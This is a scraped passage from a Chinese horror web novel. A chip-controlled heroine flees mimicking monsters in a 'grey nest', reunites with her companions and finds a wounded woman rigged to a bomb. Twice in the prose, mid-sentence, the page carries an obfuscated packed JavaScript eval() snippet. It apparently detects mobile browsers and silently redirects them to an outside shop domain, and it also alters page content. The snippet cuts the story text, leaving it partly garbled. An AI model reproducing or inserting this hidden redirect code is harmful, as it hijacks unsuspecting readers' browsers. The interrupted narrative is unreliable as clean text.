有一种可能,可怕的想法慢慢浮现,卫晓脱离控制的手指抽搐了一下,绒绒不是在看她,而是她身后。 为什么她原来在中间偏后的位置现在却到了最后,在她后面的那些人去了哪里? 咔哒 一声牙齿咬合的轻微异响忽然在背后响起,混在脚步声里其实微小得让人很难注意到,卫晓却心头一紧,旋即,一种莫名的、更强烈的恐惧让她的思维停滞了。不是背后无人那种虚无的恐惧感,而是几乎是某种实体,它在黑暗中悄无声息地接近,现在正阴冷地立在卫晓背后。 是幻听吗?是幻觉吗? 咔哒 又是一声,这不是幻觉,她背后黑暗里有东西,有什么??什么东西??? 卫晓恢复自由的手指颤-抖起来,本能在尖叫着让她快跑,不顾一切地往前跑。 咔哒 声音更近了一点。 有什么东西在接近,什么,是什么??绒绒在担忧地看什么? 恐惧下卫晓的心跳得快要爆炸了,可她完全动不了,除了勉强动作的右手手指,全身都和水泥浇筑的一样,只能直挺挺地立在台阶上,队伍还在慢慢地一个一个通过缝隙,前面还有至少十个人,还有一个被卡住了正在痛苦地往里挤! 至少,至少,回头看一下,冷汗不停地顺着脖子往下流,卫晓牙关咬得死紧,疼痛勉强唤回了一点理智,不要死得不明不白的,卫晓,卫晓,回头看一眼啊! 僵硬的颈椎一寸寸转动,卫晓勉强往左边偏过头去,用余光往后撇。 但身后的黑暗里空无一物,不受控制的身体极大地限制了后方视野,目之所及除了藤蔓没看到任何异物。 心微微放下了一点,或许就是幻觉呢?卫晓努力安慰自己,但视线略微往下,在右边最极限的视野边缘,她看到什么东西抽-动了一下。 在右边,她和蓝衣女孩中间,有什么东西,已经离她们很近了。 卫晓猛地把头转了回去,蓝衣女孩还是垂着头一动不动,前面除了绒绒三人之外没有任何人回头,都在沉默地依次穿过缝隙,卫晓能看到绒绒的表情严肃得可怕,眼睛盯着她右后方。 什么东西?卫晓颤-抖着试图向绒绒发问,却什么声音都发不出来,只能比划口型,绒绒也没有回应,只是专注地看着,眉头紧皱,似乎在思考什么。 咔哒 更清晰的声音从身后传来,不是幻觉,卫晓终于彻底放下幻想,不用转头了,眼角余光已经能看到那个“东西”了。 右后方的地上“跪”着一个人。 或许不能说是跪着,或许也不能说是“人”,那个“他”穿着一身平平无奇的黑白睡衣,但皮肤惨白,双膝着地,身体以一个类似下腰的姿势扭曲折叠着,后背几乎要贴到屁-股上。细长的双手反向撑在地面,上下 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身后的怪物露出了一个倒着的微笑,细小的、密密麻麻的尖牙从咧开的嘴唇间探了出来,它凸-起的眼睛一动不动地盯着女孩的后脑勺,然后在令人牙酸的骨节声响中慢慢直起腰,站起身来,也举起双手,一下一下跳着。 起身后,它的身高可能接近了两米,手指可以几乎碰到天花板,高大的阴影完全笼罩了女孩。它还是背对他们的,脸却一百八十度扭转,带着诡异的微笑盯着女孩。 两人的动作逐渐重合,乃至变得一模一样,就像镜子一样映照出女孩,它甚至张开了嘴巴,模仿着女孩的声音一下一下叫起来,变调的嘶哑声音和女孩撕心裂肺的尖叫一起回荡在安静的走廊里。 这时卫晓终于被控制着往前走了,她拼命转头往后看,女孩却被控制着开始往后跑,怪物如影随形,在旁边一丝不苟地模仿着女孩的每一个动作,丝滑得如同镜子的两边,两人的距离越来越近,怪物暴突的眼球几乎都要贴上女孩蓝色的齐肩发。 藤蔓和墙壁阻挡了卫晓的视线,只留下女孩的惨叫层层回荡,直到戛然而止。前面依旧没人回头,队伍穿过了缝隙,沉默地继续在崎岖的走廊上前进。 这就是减员的原因吗,这个怪物只能引开不能消灭?所以才千辛万苦带这么多人下来?卫晓脱离控制的右手手指抖得厉害,反胃的感觉一阵阵往上涌,她盯着前面绒绒黑色的后脑勺,试图让自己冷静一点,绒绒你看到我在最后,担心下一个就是我吗? 现在蓝衣女孩绝望的眼神代替了年轻人的亮黄-色外套,她的耳边一半是“咔哒”的牙齿撞击声一边是女孩“为什么是我”的尖叫声,这次没有那种仿佛陷入噩梦的不受控感了,她思维清楚,也因此愈发恐惧。 回家回家她要回家,卫晓牙齿都要咬碎了,但她还是无法让自己放松下来,回家回家回家……脑海中的画面不断闪动,一会是跪着的“人”,一会是亮黄-色的外套,一会是蓝色的头发和暴突的眼球,卫晓用力摩挲着手指,反复回想家里沙发布的粗糙触感。 下一个就是我,但这个可拍的想法牢牢地占据了理智的高地,她还在队伍最后,身边的蓝衣女孩已经被送出去了,下一个就该她。 卫晓能看见绒绒还在担忧地回望,但她已经无法依靠绒绒,大家都动弹不得,她只有她自己。 听觉忽然敏感得不可思议,卫晓不敢回头,只能不受控制地,全神贯注地听着身后的声音,听着那不知道什么时候会响起的“咔哒”声。 她要往前一点,绝望中卫晓抓住了唯一的救命稻草,至少能控制双腿,往前走一点,她不要死。 怀着这唯一的愿望,卫晓孤注一掷地试图让自己右腿停下,回家的渴望让她做出了到这里来的选择,她不后悔,这是她自己选的,只要现在她还没死,她就还有机会回家。 滋—— 轻微的电流声响起,后颈开始传来尖锐的剧痛,让卫晓眼前一阵阵发晕,但死亡的恐惧混合着回家的渴望带来了巨大的力量,一直隐隐约约的焦躁更是添了一把火,她咬紧牙关,拼尽全力控制右腿。 动一下动一下,动一下都好! 疼痛越来越剧烈,神志都开始模糊了,脑子里一片嗡嗡声,但右腿纹丝不动,她还在队伍最后。 咔哒 忽然,牙关碰撞的声音幻觉般从某处传来,卫晓僵住了,恐惧终于却突破了界限,她的右腿顿了一下,整个人失去平衡,直直地摔倒在地,沉闷的疼痛传来,一片锋利的藤蔓叶子从眉心一路划到脸颊,鲜血涌出。 她要死了吗。 卫晓僵硬地趴在地上,血流进了眼睛,一片血红的视野中,只能隐约看见有个人影接近。 10. 永不停歇之地(4) 冰凉的金属抵上了卫晓的后脑,模糊的视野中,卫晓看见了蓝色头盔边缘冷硬的反光。 “故障了吗?” 清脆的女声响起,枪口下移,拨开了卫晓粘成一团的长发,露出了后颈的金属片,点了点,随后停在了那里。 金属的阴冷感从后颈处缓缓渗入,另一种危机感让卫晓鸡皮疙瘩炸了起来,但她来不及多想,先抓紧时间试着移动了一下小腿。 “不确定,我申请了重启,接近目标了,不能修复就处理掉?”低沉的男声回答。 “呸,那灰狗不会给的残次品吧,人命关天还故障,灰猪!灰狗!”另一个男声似乎是在骂骂咧咧。 “只有十八个了,能留一个是一个。”卫晓面前的人站了起来,个子很高,一身蓝色连体衣,她的头盔半开,漏出了一缕白色的长发,“重启怎么样了?” “自检显示右腿和右手部分区域过载烧毁……重启,重启没问题,可能还能用。”随着低沉的男声嘀嘀咕咕,卫晓的身体再次动了起来,一板一眼地起身,站好。 “那就快走。”女声催促道,面前的蓝色队员回到了前列,队伍开始继续在藤蔓和碎石间前进,周围被毁坏得更加厉害了,墙壁和藤蔓上布满了烧焦与爆炸的痕迹。 “私密马赛,我没想吓你。”滋滋的电流声中,另一个年轻的、疲惫的男声忽然出现,“直接把你报废可能痛快一点,但我做不到……” ……谁?卫晓惊魂未定,她的挣扎没什么效果,身体已经自己跟上了队伍,但这次她不动声色地超过了几个人,来到了队伍的中后位置,和四盒并排。 不在最后了,卫晓可耻地感到了些许放松。 “我知道你不能说话,所以听我讲讲就好,不过可能你也没心思听。”脑子里年轻的男声还在自顾自地讲,“每次遇到能挣脱的人我都很愧疚,或许是你们太想活下去了,对抗到了过载的地步。你知道吗,这样的人超级少,如果可以我真希望可以和你们聊聊,但是红豆泥私密马赛。” 队伍所有人都在埋头赶路,那个男声却伴随着电流声,在卫晓耳边响个不停,有一种闹鬼既视感,卫晓半个字也说不出来,被迫听着他絮絮叨叨,“我不知道在这里呆了多久了,也不知道害死多少人了,将来肯定要下地狱的,问题是我也不知道我是谁,地狱会不会不收我?” 实际操控他们的人?卫晓扫了一眼前面的三人小队,是队伍里的某个人?还是在暗处?又或者是灰巢外远程操控?听上去他神神叨叨的,不太愿意干这事,被迫的? 但是蓝发女孩的尖叫和年轻人的亮黄-色外套还在眼前,自己和绒绒她们还被-操控着不知道要往哪去,卫晓实在挤不出一点点同情,如果可以她更希望能一棍子打爆他的头。 “别嫌我烦,地狱可能更好一点,灰巢,哈哈,这个世界太可怕了,我要疯了哈哈,不对,是已经疯了哈哈哈哈。”男声说着说着越来越颠三倒四,神经质的笑声却忽然一顿,“你们找到它了,祝你好运。” 声音彻底消失了,匀速行进的队伍猛地停下了脚步,本来在前面的三人小队迅速后退,躲进了队伍中间。 ——远处的走廊中间有一个,或者说一坨隐约的白色影子。 深色的藤蔓环绕着它,实在太远,卫晓眯眼看了许久才勉强从昏暗中辨认出它的轮廓,似乎很多赤-身-裸-体的人面向内,紧挨着手挽手,聚成了一个苍白的圆形,他们占据了大半个走廊,一动不动地待在原地,像是在举行某种邪教仪式。 断断续续的人声和起伏的嗡嗡声忽然响起,急迫地要去做某件事的焦躁再次涌上心头,卫晓甚至有一种要快往前跑,跑到最前面的感觉,但被牢牢控制的手脚阻止了她的动作,恍惚一下连忙移开了视线,周围还有意识的人看上去也多少有些烦躁。 急躁可能不是金属片带来的,卫晓深呼吸,将注意力集中到侧面的三人小队身上,“灰巢”会影响人的心理,让人感到着急? “快快快!你是灰狗崽子吗速度那么慢!”骂骂咧咧的声音忽然从旁边响起,橙色的小个子队员抖着腿站在旁边,青色防护服的队员似乎在组装什么巨大的装备,看上去是某种枪械,长长的枪口对准了前方。 蓝色队员把橙色男的头盔一把扣了回去,刺耳的声音猛地消失了,青色队员组装完毕就退到了一边,紧接着蓝色队员将头盔一掀,半跪在长枪后面,双手握住了突出的把柄,深蓝挑染的白色长发在昏暗中微微发光。 橙色队员看上去要跳起来了,站在旁边的青色队员往前一步,将他和长枪隔开。 “被影响了的蠢货滚远点。”清脆的女声响起,语速飞快,“校准结束,正在蓄能,大家撤!” 隐约的嘶嘶声响起,转眼就到了震耳欲聋的地步。长枪侧面的屏幕一格一格亮起来,整个队伍轰地散开,三人小队每人带着剩下的几位“协助人员”,各自冲进了走廊两边的房间,混乱间卫晓只瞟到一-大群人跟着青色队员离开,绒绒和酥七被带进了隔壁,自己幸运地和四盒在一起,跟着那位被叫做靛蓝的蓝色队员一头扎进了最近的房间。 奔跑,跳跃,俯身,卫晓的身体忽然敏捷得不可思议,她精准无比地在黑暗里绕过房间里遍地的杂物与藤蔓,飞快地往房间深处跑去。房间里的门一道道打开,后面还联通着新的房间,布局错综复杂,女队员冲在前,掀开的头盔下是严实的半脸面罩和护目镜。护目镜荧光闪烁,她干脆利落地转向、向前、踹开藏在角落里的小门,或者一枪轰飞挡路的藤蔓和架子,目标明确地向着某个方向前进,荧白的头发在黑暗中闪闪发光。 “倒计时开始,大家准备!”忽然女队员背靠墙壁停下了,身体压低,直直面朝着来处,卫晓三人也被甩到墙底下被摆成了双手护头的姿势,“来吧,相信楼不塌,五、四、三,二,一!” 轰隆—— 短暂的寂静后,剧烈的爆炸声隔着层层墙壁依旧让卫晓耳鸣不止,可怕的震动让墙体发出了不堪重负的嘎吱声,所有摆放的东西都被震落在地。电火花爆闪,紧接着四周陷入了完全的黑暗,只有女队员护目镜上的荧光勉强照亮了一小片地面。 耳鸣中卫晓大口大口喘着气,喉咙里泛上了浓烈的血腥味,刚才激烈的跑酷再怎么技术高超用的也是她的身体,作为八百米跑五分钟的废柴,此时肺可能要炸了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“来得真快。”她低语了一句,一把扣上了头盔,光源消失,卫晓瞬间伸手不见五指,但在黑暗中,它们的存在感依旧强烈,令人毛骨悚然的咔哒声此起彼伏。 但不知是因为黑暗还是声音亦或者别的什么,它们似乎失去了目标,没有接近而是在周围游荡,四肢磕在地上,发出轻微的声响。 轰—— 寂静中忽然又一声巨响在身侧炸开,碎石飞溅,卫晓的身体不受控制地站起,一头穿过身后破了个大洞的墙壁,敏捷地在黑暗中穿梭。背后传来了男人的惨叫和有节奏的跳跃击掌声——那个绿色海带头的男人正在像蓝发女孩一样拍打着双手蹦跳。 但更多的咔哒声跟了上来,卫晓被控制着飞快前进,身体带着大脑跌跌撞撞地穿行乱七八糟的家具和杂物中,不知道要往哪去。咔哒声也如影随形,不知道有多少,也不知道贴得多近,视野一片漆黑,只有偶尔掠过一些发光的小屏幕时才能看见有苍白的影子一闪而过,杂乱的脚步声正在变得越来越统一。 那东西模仿蓝衣女孩的画面再次浮现在脑海里,在越来越接近的咔哒声中,卫晓控制不住地想,那些东西正也一模一样地贴在她身边,亦步亦趋,直到动作逐渐重合。 然后呢。 蓝衣女孩戛然而止的声音或许是答案。 这时,卫晓狂奔的动作忽然放缓了,她的脚步越来越慢,直到完全停下,她安静地站在原地,忽然拍了一下手。 随后黑暗中传来了整齐划一的拍手声。 11. 永不停歇之地(5) 被抛弃的不止海带头男人,卫晓终于发现她现在孤身一人,女队员和四盒已经不知所踪,被吸引来的怪物太多了,海带头男人在原地留下了一波,而她引走了另一波。 或许已经跑得足够远,又或许是已经到了这具身体的极限,现在她满嘴血腥味地停在了这里,身边无数怪物层层围绕,无数双突出的眼球一动不动地锁定了她。 拍了一下手之后,卫晓又原地蹦了一下,更多的落地声围绕着她齐齐响起,落地时胸腔震动,她无意识地闷哼了一声,四周一静,紧接着各种声调的闷哼声此起彼伏,它们已经不再发出咔哒声,而是安静地环绕在周围,模仿着卫晓的一举一动。 不知何时她已经可以发出声音了,卫晓咬紧了牙关,不敢再漏出一点声音,甚至不敢大口喘息,但她依旧无法停下动作,不受控制地像蓝衣女孩一样大幅蹦跳着拍起手来。 停下。 卫晓竭尽全力阻止自己的身体,她不知道这东西究竟是通过声音还是动作锁定目标的,又或者完全和她同步需要多久,同步之后的结果又是什么,她也无法再思考这些了,停下是她现在唯一想到的办法。 怪物环绕中,头脑里的嗡嗡声和人声响亮得完全无法思考,她的脑子像一盆正在被打发的奶油,努力集中思绪,唯一清晰的只有回家。 回家,活着回家,这个念头像一根插在奶油里的筷子,坚固得不可思议,理智攀附在上边,维护住了卫晓最后一丝清醒,后颈又开始传来刺痛,她感到跳起的动作滞涩了一瞬。 “太顽强了,我……”那个男声又开始在脑子里叫,卫晓听不清也不想听他在说什么,全力对抗身体的动作。 随着尖锐的刺痛,右手忽然一顿,软软地垂了下来,击掌声戛然而止,现在黑暗的房间里只有蹦跳的声音了。 但太近了,它完全没有呼吸,可卫晓感到呼吸的热气被反射回了脸上,手臂挥舞带起的风掀起了她的头发,浓烈的腥甜味道充斥了鼻腔。 已经面对面了,卫晓紧紧闭着眼睛,怪物暴突的黑白大眼睛贴近女孩蓝发的画面在混乱的脑子里来回闪动。 砰! 就在这时,一声沉闷的爆炸声在某处响起,紧接着卫晓动作一顿,身体失衡,往前倒去。 脚尖下意识地绷紧,她整个人一晃,险之又险地站稳了,四周的声音跟着停下,陷入了一片寂静,脑子里那个絮絮叨叨的男声也消失了。 停下了。 卫晓努力控制着急促的呼吸,后颈没有突如其来的锐通,而她忽然重新全面获得了身体的控制权,久违的自由让身体一阵陌生,被控制久了,卫晓几乎忘了要怎么操控手脚,但现在唯一需要做的就是别动。 静下来之后,那种焦虑的,要去做什么的心情再次泛了上来,它在催促卫晓行动,卫晓缓缓呼气,不去理会,专注于将呼吸控制在一个平稳的节奏。 不知过了多久,寂静中咔哒声忽然再响,面前的东西似乎离远了一点,窸窸窣窣的肢体扭曲与触地声也出现了,卫晓将眼睛睁开一条缝,借着墙角一个小屏幕苍白的微光,她看见面前突出的眼球离远了一点,余光能瞟到,有站着的怪物正在逐渐扭曲起身体,最后以一个正常人类绝对做不到的姿势移动了一下。 接下来怎么办。 脑子还是一团浆糊,思维只能勉强转动,这些东西似乎会被动作吸引,她一直不动应该就是安全的。 但不可能一直不动,时间一分一秒过去,运动过度的小腿已经在发-抖了,身体各处冒出的疼痛更是让她一阵阵冒冷汗,被-操控时痛觉似乎也被一并阻断了,现在终于和疲惫与饥饿一起传递到了大脑,卫晓甚至怀疑下一秒她就要力竭倒地。 刚才的爆炸是怎么回事,她努力把自己的注意力从自己的死状上移开,用混沌的脑子勉强思考,三人小队又攻击了一遍那个“核心”吗?绒绒她们怎么样了?她是不是应该试着动一下? 忽然隐约的惨叫声在某处响起,是一个男人的声音,挤满了整个房间的怪物猛然集体转头,望向了声音传来的方向,咔哒声响成一片,它们的动作变快了,一个接一个扭曲身体,融进了黑暗。 消失了,卫晓看着面前空荡荡的地板,它们凭空消失了,她慢慢动了下手指,无事发生。 有另一个“诱饵”在附近,引走了它们? 没等卫晓喘口气,嘎吱——身侧,门被慢慢推开的声音在寂静中显得格外刺耳,一点光亮同时撒入,卫晓一惊,正要转头去看,一个声音却让她猛地停下了。 “别动。” 短短几天里,这平静、知道自己要去做什么的声音卫晓已经熟悉的不得了,她保持着要转头的姿势僵在那里,心里一松。紧接着轻微的噗嗤声响起,身后什么东西飞了出去,余光能看见苍白的肢体一闪,紧接着消失在了墙壁里。 房间完全安静下来,绒绒没有再说话,卫晓也不敢再动,她竖着耳朵,仔细听着那边的动静。 “保持那个姿势,你是谁?” 那个声音再响,内容却让卫晓一惊,终于放松的心弦又绷紧了,来的不是绒绒? 限于昏暗的视野,卫晓即使用余光使劲瞟,也看不请说话人,一时她不敢回话,房间再次陷入寂静。 “告诉我们你叫啥就行,你个傻子。” 酥七刻意压低的声音传来,听着十分的恨铁不成钢。 卫晓舔了舔干裂的嘴唇,她用的不是真名,是“明月”这个假名,应该不会触发什么知道了名字就被缠上的鬼故事情节。 “……明月。”她的声音哑得可怕,咳了两声才勉强说出话来,“我是明月,具体是谁我不记得了,但我认识绒绒和酥七,我们……。” “就说没问题……”酥七压低了声音兴奋也盖不住,绒绒的声音中也多了一点带着喜悦的放松,“慢慢过来,小心不要绊到。” 卫晓终于看见了她们,一片黑白灰的世界中,忽然重见色彩,甚至让她的眼睛感到了一阵酸痛。绒绒还是亮红色的背心,额头上戴着三人小队同款护目镜,身上挂着各种七零八碎的装备,一只手里拎着支橙色□□,平静地站在门口,耳边的红色小耳钉闪闪发光。酥七靠着门框,卷毛一抖一抖的,看上去在极力克制自己跳起来或者跑过来的冲动,但小脸上是掩盖不住的喜悦与得意,她小幅度摆着手,示意卫晓快过来。 她们从冷冰冰的牢房到了莫名其妙的灰巢,却始终如一,卫晓悬得高高的心放下了一点,她看着绒绒,用力点点头,擦掉了眼角的泪花。 “走吧。”绒绒也看着她,露出了一点笑容,“去找四盒。” - “你知道吗绒绒不愧是能杀三等公民的厉害的不得了啊……”酥七凑到卫晓耳边兴奋地叨叨,尾巴紧紧卷在她的小臂上,“先这样一脚,再那样一拳,然后一勒,那家伙就晕过去了,然后再……” 卫晓背着酥七,酥七的右边小腿已经肿得有两倍大,卫晓吓了一跳,她倒是满不在乎的样子,只说碰了一下,看上去一点不觉得疼,走路也没有异样,绒绒甚至也没发现,直到救下卫晓。 “骨头没断,可能是裂了。”绒绒蹲下来看了看,“真的一点不疼?” “就一点点感觉。”酥七的声音听上去没一点痛苦。 “真的?” “你们果然都是傻子。” 最终卫晓还是把酥七背了起来,小小的女孩非常轻,背起来倒也不费力,暖暖地靠在背上,反而让她有了一点虚幻的安全感。 尽管在这样的险境里,酥七似乎也没有任何恐惧,她压着声音,小声地和卫晓分享她们分开之后的所有事情。和卫晓几句话就能概括的逃命之旅相比,绒绒和酥七就要精彩多了,她们都跟着那个橙色的小个子队员,也遇到了怪物群,小个子打算先用爆炸驱逐那些东西,但第一次引爆后,控制众人的金属片却同时失效了,另两个癫狂跑开的“协助人员”引走了剩下的怪物,绒绒出其不意,三两下制服了小个子,收集装备之后拎着他的护目镜去找卫晓,到了附近放开了他,让他引走了围着卫晓的东西,三人顺利团聚。 “四盒离我们不远,现在一个人待着。”绒绒点了点护目镜,“控制失效之后那三个人之间的联系也断了,女队员应该抛下她先离开了。现在核心被攻击,已经离开了原地,脆弱但攻击性很强,发现或感觉到任何不对要立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351498|199616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻和我说,失去壳的核心会找宿主。” “‘核心’是灰巢的...灵魂?‘壳’又是什么”卫晓问道。 “算是吧,灰巢是被核心创造出来的,但核心控制灰巢的同时也在被灰巢控制,核心之前是人类,意识的话……可能有,但一定也和正常人不一样了,壳的话可以理解为核心的摇篮或卵壳,核心本身比较脆弱,没有固定的形状,有些甚至人眼看不见。”绒绒边说边用力想推开一扇门,但门似乎年久失修,很难打开,卫晓上前帮忙,却发现门像是和门框长在了一起。 绒绒最终掏出了那把会发出“噗嗤”声的枪,三人顺利通过。 “这是……怎么回事?”逃跑时卫晓完全顾不上周围的环境,现在一看,无论是乱长的藤蔓还是房间里的家具,都像融化的巧克力一样变形黏在了一起,卫晓试图踢开地上的一只鞋子,鞋子却纹丝不动。 “记得灰巢有混同的特性吗,就是这样。”绒绒轰开了另一扇门,“核心比较稳定的时候不太明显,现在核心削弱,对灰巢的控制权也减弱了,灰巢会把它内部的死物逐渐混在一起,就算是活人,失去意识太久衣服也会黏在身上。” “‘灰巢’本身也是有意识的?如果‘核心’彻底死掉呢。”卫晓打了个寒战,走快几步,追上了绒绒,她想到了那些几乎和墙壁融为一体的藤蔓,她还以为是什么非常厉害的植物钻到了墙里,现在想来或许也是缓慢混同的结果。 “灰巢应该没有意识,我觉得更像“本能”,但它能够直接影响人的精神,所以不能乱想,容易失去理智,问名字可以简单判断受影响的程度,扇两巴掌可以暂时恢复清醒。”绒绒声音笃定,“核心非常虚弱或者死掉的话……里面所有能够思考的活物都能在一定程度上控制灰巢,但不好说,灰巢里什么事情都有可能发生。” 能在一定程度上控制灰巢......灰巢内部时空混乱,卫晓一愣,一个大胆的念头闪过,随即被她掐灭,回到了眼下的情况。 “那要怎么杀死‘核心’?需要特殊武器吗?”她回忆着三人小队组装的大型枪械,问道。 “不,足够大的物理伤害都可以,一般爆炸最有用,不过大多数核心的壳都非常坚硬,刚才清洁工——就是那三个人,用了非常强力的激光炮,直接轰碎了壳。我猜他们预计是连壳带核心一次解决,没想到这个壳比他们估计得更硬。也有用其他手段成功摧毁核心的,但据我所知很难成功。” “我们一时回不去地面吧,找到四盒之后要先想办法解决‘核心’吗?” “聪明——过会换我背吧。”绒绒轻轻拍了拍卫晓的肩膀,“或者等等,那三个人已经轰开了核心的壳,把它逼出来了,他们不会半途而废的。” 绒绒很了解灰巢,可能之前就进入过,甚至不止一次。借着护目镜的微光,卫晓瞟了一眼绒绒带着伤疤的侧脸,在牢房里的时候,绒绒说她没遇见过灰巢,她分享自己从伊娃那里知道的灰巢信息时,绒绒也没说什么,因为担心监控?因为不信任她们?绒绒想做什么?她一开始就知道执行“死刑”是进灰巢吗?控制芯片的突然失效与绒绒有关吗? 心微微一沉,但卫晓还是跟紧了绒绒的脚步,无论是一直以来的照顾,还是刚才的救命之恩,绒绒没有做过任何伤害她们的事情,甚至有问必答,她相信绒绒。 “明月,还有一个重点。”这时绒绒却突然开口了,声音平静,“在灰巢里,面对另一个有理智的人,或者完全当作可信任的队友,或者完全视作要解决的敌人,任何犹豫或者芥蒂都关乎生死,尤其是对于比较聪明的那些人。” “我知道了,我相信你。”卫晓瞬间就明白了绒绒的意思,她没有迟疑,和绒绒靠得更近了一点,“无论如何我应该先对你说谢谢,我看到了你做的事,所以我相信你。” “你冒着巨大的危险帮了我们。”趴在卫晓背上四处观察的酥七忽然也开口了,她大大的眼睛警觉地环视着周围,“她傻我又不傻,当然看得出来,你不用担心。” 绒绒反而愣了一下,然后低低地笑了一声,昏暗中卫晓看不清她的神情:“那我可要努力把你们都带出去了,马上到了,我们快走。” 12. 永不停歇之地(6) 三人在一扇满是可爱小贴画的门前停下了脚步,绒绒推了推没推动,低头检查门上的显示屏,上边显示着一个白色的上锁标志。 “那些东西攻击会动的人吗?”卫晓看着绒绒慎之又慎的动作,小声问道,她也算是和那些苍白的怪物打过几次交道了,能看出一点它们的行动规律。 “不完全是。”似乎开锁无果,绒绒将枪口抵在了门和门框的交接处,“我猜是在灰巢的所有人中,动作幅度最大的那个,现在‘诱饵’还有活着在逃跑的,我们暂时不必担心——四盒就在里面,小心,准备开门了。” 绒绒扣动扳机,噗嗤声过后整扇门一抖,呻-吟着打开了一条缝,里面黑漆漆的,一片寂静。 “四盒已经很久没有移动过了,我们不能确定她的情况。”绒绒将枪口对准了里面,“你们往后,如果有异常,我会优先保证我们的安全。” “好。”卫晓放下酥七,拉着她轻手轻脚往后,躲到了一堆杂物背后,绒绒一手持枪,一手推开了门。 “四盒?” 绒绒平静的声音随着门打开的吱呀声一起响起,门后依旧一片漆黑,护目镜微弱的光亮只能照亮门口的一小片地面,卫晓根本看不见四盒在哪。 “有血。”酥七忽然小声说。 一阵小小的嘟囔声从门里传来,绒绒往里走了一点,借着护目镜的微光,卫晓终于勉强看清了坐在地上的四盒。 她靠在墙边,双腿蜷起,双眼望向门口,口中发出含糊的喃喃声,白色的袍子上有大块深色的污渍。 “四盒?”绒绒又走近了一点,四盒晃了晃脑袋,抬头和绒绒对视,一边嘟囔一边笑了起来。 “看上去没事?”卫晓往前挪了一点,心里却一紧,四盒袍子上的污渍有点像血,但她记得她们分开的时候四盒还没事,“四盒受伤了?” “四盒的状态还好,有时候有精神问题的人在灰巢反而更不容易被影响。”绒绒蹲了下来,仔细查看,“但伤……人为的。” 绒绒忽然沉默了,她调亮了护目镜的光线,往旁边挪动了一点,似乎在查看四盒身后。随着光线变亮,走到近前的卫晓忽然停下了脚步—— 四盒的两个脚腕被电线一类的东西紧紧捆在了一起,一根金属小棍子穿透了右边的脚掌,深深扎进了地面,让她动弹不得,血已经在地上凝固了一片,变成了一滩暗色的污渍。 看到卫晓,四盒的眼睛忽然亮了,她冲着卫晓笑了一下,发出几声气音,似乎想说什么。 “真是……”绒绒平静的声音中多了些不忍,她解开了四盒同样被捆住钉在地上的双手,掏出一个小瓶子,对着四盒被贯穿的掌心喷了几下,汩汩的鲜血才止住。 谁干的?卫晓看着那深可见骨的,血肉模糊的伤口,浑身的鸡皮疙瘩都炸开了,她吸了一口气,蹲下身握住插-入四盒脚掌的棍子,试图拔-出-来。 纹丝不动,粗糙的棍子只在卫晓手心留下了一道血痕,棍子似乎深深插-入了,不,应该是和地板融为一体了。酥七上前,却只让棍子摇晃了几下,两人合力还是没能将棍子抽出,最后只能小心翼翼地抬起四盒的脚,从上端出来,四盒发出了痛苦的气音,身体却纹丝不动。 鲜血源源不断地涌出,绒绒过来用小瓶子喷了几下,才渐渐止住。 棍子是根长长的中空金属管,旁边还散落着几根,不知道是用来干什么的,看上去像某人随手抄起身边的东西,将四盒死死固定在了这里。 “我可以扶着四盒走,我们慢慢地一起……”卫晓的声音有点抖,最后说不下去了。她很讨厌看见伤口,那些被撕裂的血肉会让她感同身受,仿佛自己也一起疼了起来。 “走不了了。”绒绒看伤口止了血,叹了一口气,将护目镜扔给了卫晓,掏出一把小刀开始割四盒脚上的电线,“戴上去看她背后,小心一点。” 什么意思,卫晓费力地扣上了小了一圈的护目镜,视野一下亮如白昼,所有细节都清清楚楚,一些她看不懂的数据在周围闪动,左上角有一个大大的“68”。她没管这些,低头去看四盒背后,四盒靠着墙壁,墙壁贴着粉色条纹的墙纸,墙纸上有一个黑色的小方块,上面连着一条细线。 “X-10。”卫晓读出了护目镜上的文字,视野中那个小方块被标红了,红色的字在上面一闪一闪,“什么意思?” “一种……”绒绒用力割断了最后一根电线,揉了揉四盒被勒出深深痕迹的脚腕,“非常非常厉害的炸药,那一点就可以把这个房间完全摧毁。” 卫晓沉默了,她看到小方块上的线一路往上,最后消失在了脊椎处。 “线埋在肉里,四盒动作一-大,那东西立马爆炸。”绒绒说道,房间里陷入了可怕的寂静。 头发上的触感让卫晓一下回神了,四盒在用只带血的手一下一下梳理她打结的头发,嘴里发出轻轻的呢-喃声。 “……为什么……为什么做这种事呢。”卫晓将护目镜还给绒绒,在黑暗里望着那个小方块。 其实都走到这了,她也能想明白,荧光黄的外套和蓝色的齐肩发还清清楚楚地刻在她脑子里呢,她能猜到的,只是现在面前是四盒。 “利用了核心失去壳之后寻找宿主的行为。”绒绒的声音传来,听上去已经恢复了平静,“核心没有太多理智,失去壳之后会挑选意志力相对薄弱的人作临时宿主来补充能量,那人大概是想做个简单的陷阱,核心操控着四盒的身体一动,炸弹爆炸,可以轻松杀死它。” “有什么办法能把线取出来吗?剪断?或者……或者直接把那一块墙壁挖出来?怎么能这样呢?”卫晓有点语无伦次,她已经见过了人在这里的重量,她自己也曾经成为被抛弃的诱饵,并因此感到深深悲伤与恐惧,但看着四盒憔悴又茫然的面孔,愤怒缓慢燃烧起来。 她看上去和妈妈年龄相近,卫晓想着,身形也像,个子不高,肩膀很薄,有一双干燥温暖的手,这让她更难受了。过去接受的所有教育都告诉她要保护弱小,团结同胞,他们凭什么这样做?见到同类的痛苦,他们为什么不会感到一点点的愧疚与恐惧? “做不到,这东西被造出来就是为了在这里被触发然后爆炸,一旦设定好了,就算那人自己过来也解不开。”绒绒没有不耐烦卫晓的追问,她边起身整理身上的东西边说,“也不会失效,记得灰巢有混同的特性吗,一般的物品在灰巢里会逐渐黏在一起,不管是什么,除了这种特殊 